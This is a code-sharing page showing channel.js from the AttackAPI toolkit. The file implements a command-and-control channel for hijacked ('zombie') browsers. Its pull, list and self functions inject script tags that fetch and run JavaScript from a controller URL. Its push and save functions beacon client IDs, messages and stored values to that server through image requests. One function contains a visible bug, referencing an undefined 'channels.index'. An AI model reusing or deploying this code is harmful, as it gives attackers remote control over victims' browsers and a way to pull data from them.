channel.js

来自「AttackAPI提供简单而直观的web可编程接口」· JavaScript 代码 · 共 72 行

JS
72
字号
ZombieAPI.Channel = {};
ZombieAPI.Channel.channels = new Array();
ZombieAPI.Channel.createInteractiveChannel = function (location) {
	var channel = {
		index: ZombieAPI.Channel.channels.length,
		location: location,
		callbacks: { pull: undefined, push: undefined, list: undefined, self: undefined, save: undefined }};
		
	channel.pull = function () {
		var script = document.createElement('script');
		script.differ = true;
		script.type = 'text/javascript';
		script.src = channel.location + '?action=pull' + ((channel.callbacks.pull == undefined)?'':'&callback=ZombieAPI.Channel.channels.channel' + channel.index + '.callbacks.pull');
		script.onload = function () {
			document.body.removeChild(script);
		};
		script.onerror = function () {
			document.body.removeChild(script);
		};
		
		document.body.appendChild(script);
	};
	
	channel.push = function (client, message) {
		if (channel.callbacks.push && !channel.callbacks.push(client, message))
			return false;
			
		var request = new Image();
		request.src = channel.location + '?action=push&client=' + escape(client) + '&message=' + escape(message);
		
		return true;
	};
	
	channel.list = function () {
		var script = document.createElement('script');
		script.differ = true;
		script.type = 'text/javascript';
		script.src = channel.location + '?action=list' + ((channel.callbacks.list == undefined)?'':'&callback=ZombieAPI.Channel.channels.channel' + channel.index + '.callbacks.list');
		script.onload = function () {
			document.body.removeChild(script);
		};
		
		document.body.appendChild(script);
	};
	
	channel.self = function () {
		var script = document.createElement('script');
		script.differ = true;
		script.type = 'text/javascript';
		script.src = channel.location + '?action=self' + ((channel.callbacks.self == undefined)?'':'&callback=ZombieAPI.Channel.channels.channel' + channels.index + '.callbacks.self');
		script.onload = function () {
			document.body.removeChild(script);
		};
		
		document.body.appendChild(script);		
	};
	
	channel.save = function (client, name, value) {
		if (channel.callbacks.save && !channel.callbacks.save(client, name, value))
			return false;
			
		var request = new Image();
		request.src = channel.location + '?action=save&client=' + escape(client) + '&name=' + escape(name) + '&value=' + escape(value);
		
		return true;
	};
	
	ZombieAPI.Channel.channels['channel' + channel.index] = channel;
	
	return channel;
};

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?